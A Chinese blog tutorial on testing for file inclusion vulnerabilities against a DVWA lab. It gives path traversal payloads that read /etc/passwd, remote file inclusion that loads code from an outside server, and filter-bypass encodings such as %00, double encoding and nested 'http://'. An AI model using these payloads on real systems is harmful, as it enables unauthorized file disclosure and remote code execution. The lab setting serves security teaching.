手动挖掘漏洞(二)

文件包含漏洞
原因:文件权限限制不严,导致可以访问web目录以外的文件。
 
漏洞特征
?page=a.php
?home=b.html
?file=content
 
经典测试方式
?file=../../../../etc/passwd  根据相对路径加载文件
?file=/etc/passwd 根据绝对路径加载文件
?page=file:///etc/passwd 
?home=main.cgi
?page=http://www.a.com/1.php 根据外部url,加载远程文件
http://1.1.1.1/../../../../dir/file.txt
 
 
针对DVWA的一个漏洞
http://192.168.133.132/dvwa/vulnerabilities/fi/?page=include.php 
根据相对路径访问文件
http://192.168.133.132/dvwa/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/passwd

使用绝对路径访问文件

http://192.168.133.132/dvwa/vulnerabilities/fi/?page=/etc/passwd

根据外部url加载远程文件,这时我们可以开一个自己的服务器,然后让url指向自己的服务器。这样就可以执行我们本地的文件(嘿嘿,你懂得)

有时候加载文件时,比如 

?file=/etc/passwd

可能会提示/etc/passwd.php文件找不到,这是因为网站开发者可能用了某些过滤机制在文件名后面自动补全为.php文件,我们只时想找passwd这个文件并不希望去找一个.php文件,这时我们需要绕过字符的过滤,php5.3以前,通过一些简单地修改就能绕过过滤:

加“.” : ?file=/etc/passwd.

加“%00” : ?file=/etc/passwd%00    ,%00表示null

将“http://”,改为“http%2e%2f%2f”

../url编码为%2e%2e%2f

..编码为%2e%2e%5c

../双层编码为%252e%252e%255c
 
 
有些开发者会对一些关键词进行过滤,比如检测到http://就把这段置为空,而且只检查一次,我们可以用嵌套的方式绕过过滤,htthttp://p://,如果把中间的http://置为空,外层的http://就会新合为一个http://,这样也能绕过验证。
 
原文地址:https://www.cnblogs.com/zylq-blog/p/6713372.html